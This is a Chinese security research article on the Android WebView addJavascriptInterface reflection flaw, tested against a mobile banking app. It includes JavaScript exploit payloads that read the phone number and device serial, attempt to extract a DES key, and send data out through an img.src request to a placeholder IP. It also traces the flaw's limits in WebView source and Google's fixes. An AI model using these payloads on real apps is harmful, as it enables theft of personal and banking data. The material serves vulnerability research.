Android WebView 漏洞的利用、局限與終結
0x00 引言
WebView.addJavascriptInterface方法導致的遠程代碼執行漏洞由來已久,與其相關的CVE有三個( CVE-2012-6636 、 CVE-2013-4710 、 CVE-2014-1939 )。從烏云上暴露的相關漏洞來看,常見的利用方法就是通過反射獲得java.lang.Runtime的實例,然后執行一系列shell命令,從而達到讀取聯系人、發短信、讀寫SD卡文件、反彈shell、安裝APK等目的。
本文通過一個例子討論如何利用反射來獲得APP的運行時信息,以及利用此方法的一些限制和原因分析。
0x01 案例
1.安全的加密算法
本文的起因源于對一個手機銀行APP的分析。該APP使用了HTML進行數據傳輸,并使用了RSA和DES算法對數據加密。首先在本機利用時間戳隨機生成一個用于DES加密的秘鑰,然后在與服務器握手時用RSA算法(函數n返回的就是公鑰)對DES秘鑰加密后發送給服務器。
- 握手

握手完成后,之后的數據就會使用DES進行加解密。
- 加密

- 解密

這種加密方式也是一種比較安全的方式,作為中間人即使截獲了數據流,沒有RSA私鑰(這個應該只存在于銀行的服務器上)也就無法解密握手數據,得不到DES秘鑰也無法解密之后的數據流。
2.addJavascriptInterface的利用
當前的銀行手機應用已經不再僅僅滿足于查詢、轉賬這些基礎功能了。比如這個應用就引入了摳電影( http://m.komovie.cn/ ),可以在應用里直接打開相關網頁,選座、購票并最終跳轉到APP的支付Activity。網頁與應用交互采用的就是 WebView 的 addJavascriptInterface 接口,注冊了一個名為mpcpay的RunOnJS接口對象。
- 注冊接口

由于該應用并沒有設置targetSdkVersion,因此這里應該存在著可利用的漏洞。 測試一下看看,把對http://m.komovie.cn的請求返回結果修改為本地的D:\test.htm。

相比于利用 Runtime 執行 shell 命令,我更希望能夠獲得程序本身內部的一些信息。test.htm的內容如下:
#!html
<html xmlns=";
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</HEAD>
<BODY>
</BODY>
<script type="text/javascript">
try{
document.write("**output start**<br/>");
var runtimeClass = window.mbcpay.getClass().forName("java.lang.Runtime");
document.write(runtimeClass.toString());
document.write("<br/>");
var Release = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("RELEASE").get(null);
var SDK = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("SDK").get(null);
document.write("Android " + Release.toString() +" API " + SDK.toString());
document.write("<br/>");
var MyAppClass = window.mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.util.MyApplication");
document.write("Use ClassLoader to get MyAppClass: "+ MyAppClass.toString());
document.write("<br/>");
var MyAppClass2 = window.mbcpay.getClass().forName("com.nxy.henan.util.MyApplication");
document.write("Use forName to get MyAppClass2: "+ MyAppClass2.toString());
document.write("<br/>");
document.write("** output end **<br/>");
}
catch(e)
{
document.write(e.toString());
document.write("<br/>");
}
</script>
</HTML></code></pre>
輸出結果如圖

從代碼及對應的輸出結果可以看出,可以利用mbcpay.getClass().forName來獲得系統類如java.lang.Runtime和android.os.Build$VERSION,但是不能獲得com.nxy.henan.util.MyApplication,即APK中所定義的類(拋出了異常)。但是卻可以通過mbcpay.getClass().getClassLoader().loadClass來獲得。
接下來,就能比較容易的獲得APK中public的類的一些靜態字段,如:
#!java
var mobile = MyAppClass.getField("f").get(null);
document.write(mobile.toString());//手機號碼
document.write("<br/>");
document.write(mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.e").getField("d").get(null));//手機串號
document.write("<br/>");
這樣,只要通過在頁面中加入一個img標簽,并設置
#!java
img.src="http://xxx.xxx.xxx.xxx/?param=......";
就可以把想要獲得的數據上傳。
3. 無法獲得的字節數組
回過頭來再看DES加密和解密的方法,其中明確說明了i.b就是DES算法所用的key。
#!java
b.a("XMLManager.DESKEY=>>>>" + i.b);
而它的聲明如下

沒錯,公開的、靜態的字節數組。如果得到了數組的內容,就可以對握手之后的數據完全解密。畢竟解密方法都已經有了。于是使用
#!java
var desKey = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.i").getField("b").get(null);
document.write(desKey.toString());
document.write("<br/>");
得到的卻是

從 [B 可以看出確實得到了一個字節數組,后面的 4394d738 應該就是它的內存地址。但是在js層面,我無法獲得數組里的具體內容,因為不能用 [] ,而數組本身也沒有類似的get(index)方法。
嘗試使用Array.get(Object array, int index):
#!java
var ObjectClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Object");
var IntegerClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Integer");
var intClass = IntegerClass.getField("TYPE").get(null);
var ArrayGetMethod = mbcpay.getClass().getClassLoader().loadClass("java.lang.reflect.Array").getMethod("get",[ObjectClass,intClass]);
結果只會發生異常,找不到這個get方法。
也無法使用Array.newInstance()創建實例,因為它的構造函數不是公開的。
在嘗試了各種方法都無法獲得deskey數組的值之后,我在程序代碼里發現了這個函數

第一個參數就是握手了URL,第二個參數就是字節數組。這個函數就是前面握手時所調用的,那時的byte數組參數就是經過RSA加密的DES KEY。此時我們或許可以利用它把deskey的原始數據傳出去。并且有一個名為a()的靜態公開方法返回了它的唯一實例:
#!java
var obj_a = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.a").getMethod("a",null).invoke(null,null);
var ret = obj_a.b("http://www.sohu.com",desKey);
document.write(ret.toString());
document.write("<br/>");
然后得到:

意思是b是一個屬性而不是一個方法。仔細看了一下,原來這個類中還聲明了一個公開的變量b:
#!java
public class a {
public static boolean a = false;
public static String b = null;
其實這應該是混淆器的杰作了,把所有的函數變量都變成了abc。
好吧,直到現在,我仍然沒有找到能夠獲得deskey數組數據的方法。
0x02 分析
1. Weview中方法調用的限制
為了弄清在webview中注冊的對象調用方法到底有哪些限制,我寫了一個例子程序進行測試:
#!java
package my.demo;
import java.lang.reflect.Field;
import dalvik.system.DexClassLoader;
import android.app.Activity;
import android.content.Context;
import android.widget.Toast;
public class MyInterface {
Activity mContext;
public String[] strArray = new String[]{"123"};
public int Value = 100;
public String[] strArray(int value)
{
return this.strArray;
}
public String[] getStrArray(int value)
{
return this.strArray;
}
public String[] getStrArray2(String value)
{
return this.strArray;
}
public int getIntValue()
{
return 10;
}
MyInterface(Activity c) {
mContext = c;
}
public void showToast(String webMessage){
Toast.makeText(mContext, webMessage, Toast.LENGTH_SHORT).show();
}
public Activity getContext()
{
return mContext;
}
public String test1(String value1)
{
Class c;
return "ret "+value1;
}
public static String test6(Object value1)
{
Class c;
return "ret "+value1;
}
public String test2(String ... strs)
{
String ret = "";
for(int i=0;i<strs.length;i++)
{
ret = ret + strs[i] + " ";
}
return "ret "+ret;
}
public String test3(Class cls)
{
return "ret "+cls.toString();
}
public String test5(Object[]clss)
{
try
{
String ret = "";
for(int i=0;i<clss.length;i++)
{
ret = ret + clss[i].toString() + " ";
}
return "ret "+ret;
}catch(Exception e)
{
return e.toString();
}
}
public String test4(Class ... clss)
{
String ret = "";
for(int i=0;i<clss.length;i++)
{
ret = ret + clss[i].toString() + " ";
}
return "ret "+ret;
}
}</code></pre>
測試了各種有著不同簽名的方法,最終得到如下結論:
- 接口對象只能訪問公開的字段和方法,這一點和Java對象是一樣的。
- 接口對象不能直接訪問公開字段,如myIntf.Value,而要用myIntf.getClass().getField("Value").get(myIntf)訪問。如果同時存在公開的同名字段和方法,如strArray,那么myIntf.strArray既不能當做函數調用,也不能當做字段使用。調用myIntf.strArray(1).toString()會告訴你strArray是一個屬性,調用myIntf.strArray.toString()會告訴你strArray是undefined。
- 接口對象可以直接調用公開方法(靜態方法或實例方法),如myIntf.test1(""),myIntf.test6(obj)等。其參數可以是基本類型,可以是基本類型的數組,可以是對象類型,但是不!可!以!是對象類型的數組。比如Object[],Object ... ,Class[],Class ... 都不可以。
- 目標類型如果有默認的構造函數,則可以用myIntf.getClass("xxx").newInstance()創建對象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes) 獲得其構造函數,但是只能獲得沒有類型參數的。也就是說,無法創建構造函數帶參數的類型的對象。
- 目標類型可以獲得其靜態的無參數方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能獲得有參數的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是說,用getMethod().invoke()只能調用無參數的靜態方法。調用有參數的靜態方法,只能先獲得實例,再用實例進行調用。
- 可以通過myIntf.getClass().getField("strArray").get(null)獲得實例的數組對象strArray,但是通過函數調用返回的數組類型(無論是不是基本類型數組)結果都是undefined,如getStrArray2將返回undefined。
有了上面這些限制條件,有很多有意思的想法便不能實現。比如不能new一個File來讀寫文件,不能new一個DexClassLoader來實現 動態加載外部dex/jar (這兩個類都沒有無參數的構造函數),當然也不能調用Array.get()來獲得數組的內容。所以接下來就對WebView的相關代碼進行分析,希望能找到答案。
2.NPAPI
http://androidxref.com/ 是一個不錯的Andrid源碼在線瀏覽網站,可以找到各個版本的Android Source Code,而且搜索的速度也比較快。由于使用的測試手機系統是4.3,因此主要參考了 JellyBean - 4.3 (4.4.x和5.x中的實現與4.3略有不同,本文不再過多討論)。經過一番查找,最后在 xref: /external/webkit/Source/WebCore/bridge/ 目錄下找到了一些關鍵的實現類。從這個目錄里的文件可以看出,google通過實現了NPAPI接口來支持js和java的交互。
根據NPAPI的文檔以及對相關實現類的分析,繪制了下面的關系圖:

當注冊js對象時(本例中是mbcpay),會為該js對象創建一個JavaNPObject對象,從它一方面可以得到JavaClassJobject對象,從而得到MyInterface(mbcpay對應的java類型)的類型信息,包括字段和方法信息;另一方面可以獲得JavaInstanceJobject對象,從而能夠調用MyInterface實例的方法、
獲取實例的屬性。
這個文件里定義了幾個關鍵的方法,通過調試可以確定這幾個方法的用途:
#!java
//判斷目標對象是否存在指定的方法,方法名由identifier指定
91 bool JavaNPObjectHasMethod(NPObject* obj, NPIdentifier identifier)
//調用Invvoke執行目標對象的方法,方法名由identifier指定,其后是調用參數和結果參數
110 bool JavaNPObjectInvoke(NPObject* obj, NPIdentifier identifier, const NPVariant* args, uint32_t argCount, NPVariant* result)
//判斷目標對象是否存在指定的屬性,屬性名由identifier指定
164 bool JavaNPObjectHasProperty(NPObject* obj, NPIdentifier identifier)
//獲得目標對象的屬性,屬性名由identifier指定,其后是結果參數
179 bool JavaNPObjectGetProperty(NPObject* obj, NPIdentifier identifier, NPVariant* result)
具體調試的過程本文不再列出,不過需要說明的是,這些關鍵函數最終都會被編譯到 /system/lib/libwebcore.so (Android 4.3)。并且函數名已經被strip掉了,最終都是一些名為sub_xxxxxxxx的函數。為了找到正確的函數地址,用到了一個比較取巧的辦法。
在 JavaNPObjectInvoke 函數中,調用了 convertNPVariantToJavaValue 方法,目的是將js的調用參數轉換為java對象。在這個方法中,有一些關鍵的字符串,如 [Ljava.lang.String; 。通過在IDA中搜索相關字符串,很容易找到 convertNPVariantToJavaValue 函數的位置。

斷在這個函數后,執行到返回,就可以找到 JavaNPObjectInvoke 方法的位置,進而可以找到其他函數的地址。
3.方法調用被限制的原因
接下來,就可以解釋為什么Webview中注冊的方法會有那些調用限制了。
1.接口對象只能訪問公開的字段和方法
JavaClassJobject 在創建時,會去調用Java對象的getFields和getMethods,并把結果保存到內部列表里,以供以后查詢。這兩個方法本身就只會得到其對象的公開字段和方法,除非使用getDeclaredFields和getDeclardMethods。但是這里也沒理由這么做。
2.接口對象不能直接訪問公開字段,如myIntf.Value。如果同時存在公開的同名字段和方法,如strArray,那么myIntf.strArray既不能當做函數調用,也不能當做字段使用。
對于myIntf.strArray,程序會首先判斷這是否一個字段。 JavaNPObjectHasProperty 返回 true ,就會繼續調用 JavaNPObjectGetProperty 獲得屬性值。在這個方法的最后有這么一段:

可以看到,如果是ANDROID系統。JavaValue value只是一個默認值,并沒有調用getField。所以最后得到的結果是undefined。而對于myIntf.strArray(),程序也會把它先判斷為是一個字段。因此最后的結果就是前面看到的,“property strArray of object is not a function”。
但是在 Android 4.4.2 的代碼中,這個問題得到了修復。因為在這個版本中, HasProperty與GetProperty 都直接返回了false。這樣strArray()就可以正常調用了。那么也許在4.4.2版本中,通過握手方法a.b()把字節數組傳出就能夠實現了,這里并沒有再繼續驗證。
3.接口對象可以直接調用公開方法(靜態方法或實例方法)。其參數可以是基本類型,可以是基本類型的數組,可以是對象類型,但是不!可!以!是對象類型的數組。
關于這個限制,要看 convertNPVariantToJavaValue 對參數的轉換。在這個函數里,支持了各種類型從NPVariant轉換為JavaValue, 除非 返回值的類型是Array,而且是個非基本類型的Array。
#!java
switch (javaType) {
52 case JavaTypeArray:
53 #if PLATFORM(ANDROID)
......
} else {
205 // JSC sends null for an array that is not an array of strings or basic types.
206 break;
207 }
也就是說,此方法不支持Object數組或是Class數組的參數轉換,參數會直接被丟棄(轉換后length=0)。
4.目標類型如果有默認的構造函數,則可以用myIntf.getClass("xxx").newInstance()創建對象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes) 獲得其構造函數,但是只能獲得沒有類型參數的。也就是說,無法創建構造函數帶參數的類型的對象。
這個就好解釋了,因為有限制3,而getConstructor的參數又是Class不定長數組: public Constructor<T> getConstructor(Class<?>... parameterTypes)
5.目標類型可以獲得其靜態的無參數方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能獲得有參數的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是說,用getMethod().invoke()只能調用無參數的靜態方法。調用有參數的靜態方法,只能先獲得實例,再用實例進行調用。
這個限制的原因也是因為有限制3,getMethod的方法簽名是 public Method getMethod(String name, Class<?>... parameterTypes) ,第二參數也是一個Class不定長數組。因此,無論傳什么參數,都只能獲得無參數的方法。
6.可以通過myIntf.getClass().getField("strArray").get(null)獲得實例的數組對象strArray,但是通過函數調用返回的數組類型(無論是不是基本類型數組)結果都是undefined,如getStrArray2將返回undefined。
這是因為,根據方法的簽名,getField("").get(null)最后返回的都是一個Object,而getStrArray2函數返回的簽名是數組。雖然他們實際返回的都是同一個數組對象,但是在 JavaNPObjectInvoke 函數的最后,調用 convertJavaValueToNPVariant 將JavaValue轉換為NPVariant時,就走了完全不同的路徑。
#!java
341 case JavaTypeObject:
342 {
343 // If the JavaValue is a String object, it should have type JavaTypeString.
344 if (value.m_objectValue)
345 OBJECT_TO_NPVARIANT(JavaInstanceToNPObject(value.m_objectValue.get()), *result);
346 else
347 VOID_TO_NPVARIANT(*result);
348 }
349 break;
......
415 case JavaTypeInvalid:
416 default:
417 {
418 VOID_TO_NPVARIANT(*result);
419 }
420 break;
421 }
如果返回值是Java對象類型,那么就正常轉換為NPObject;如果是數組類型,將直接掉到defalut,于是返回undefined。
0x03 終結
1.@JavaScriptInterface
對于 addJavascriptInterface 漏洞, google在Android 4.2(API>=17) 上解決了這個問題。要求在允許被調用的方法上加 @JavaScriptInterface 注解,同時設置 android:targetSdkVersion>=17 。它是如何起作用的呢?
還是回到 JavaClassJobject 這個類。在其構造函數被調用,填充它的字段和函數列表時,調用了jsAccessAllowed函數,判斷是否允許調用目標函數。

而jsAccessAllowed函數定義如下:

可以看到,如果 m_requireAnnotation
為真,則需要檢查目標方法是否有 android/webkit/JavascriptInterface 注解,有才允許調用。如果 m_requireAnnotation 為假,那么目標方法總是允許被調用。
而 requireAnnotation 在 WebViewClassic.java 中計算得出:

因此,只要設置了targetSdkVersion>=17,就會自動執行對方法上的 JavaScriptInterface 注解的檢查。不允許調用沒有注解的方法。
2.阻止getClass調用
如果不設置targetSdkVersion,那么仍然不能阻止調用任意的公開方法。因此,google在 Android 4.4.4 版本上從底層直接阻止了getClass方法的調用。在 JavaBoundObject::Invoke 中,判斷是否調用的是getClass方法,如果是則返回 kAccessToObjectGetClassIsBlocked ,即 "Access to java.lang.Object.getClass is blocked" 。

這樣,無論是否設置了targetSdkVersion,getClass方法不允許被調用,就從根本上禁止了Webview的js對象的反射方法調用。
3.是否真的萬無一失?
雖然禁止了getClass的調用,但是還有一個getClassLoader呢?Android的Context類自帶一個叫做getClassLoader的public方法。因此,試驗一下把js對象注冊到Activity上:
#!java
public void onCreate(Bundle savedInstanceState) {
......
Wv.addJavascriptInterface(this, "mbcpay");
腳本也稍作修改,需要的類都用loadClass加載:
#!java
try{
var loader = window.mbcpay.getClassLoader();
document.write(loader);
document.write("<br/>");
var runtimeClass = loader.loadClass("java.lang.Runtime");
document.write(runtimeClass.toString());
document.write("<br/>");
var Release = loader.loadClass("android.os.Build$VERSION").getField("RELEASE").get(null);
var SDK = loader.loadClass("android.os.Build$VERSION").getField("SDK").get(null);
document.write("Android " + Release.toString() +" API " + SDK.toString());
document.write("<br/>")
}catch(e)
{
document.write(e.toString());
document.write("<br/>");
}</code></pre>
最后,在不設置targetSdkVersion>=17時,可以看到結果:

雖然幾乎沒有人會把 addJavascriptInterface 注冊到 this 上,但是,萬一呢?
來自:http://drops.wooyun.org/papers/17610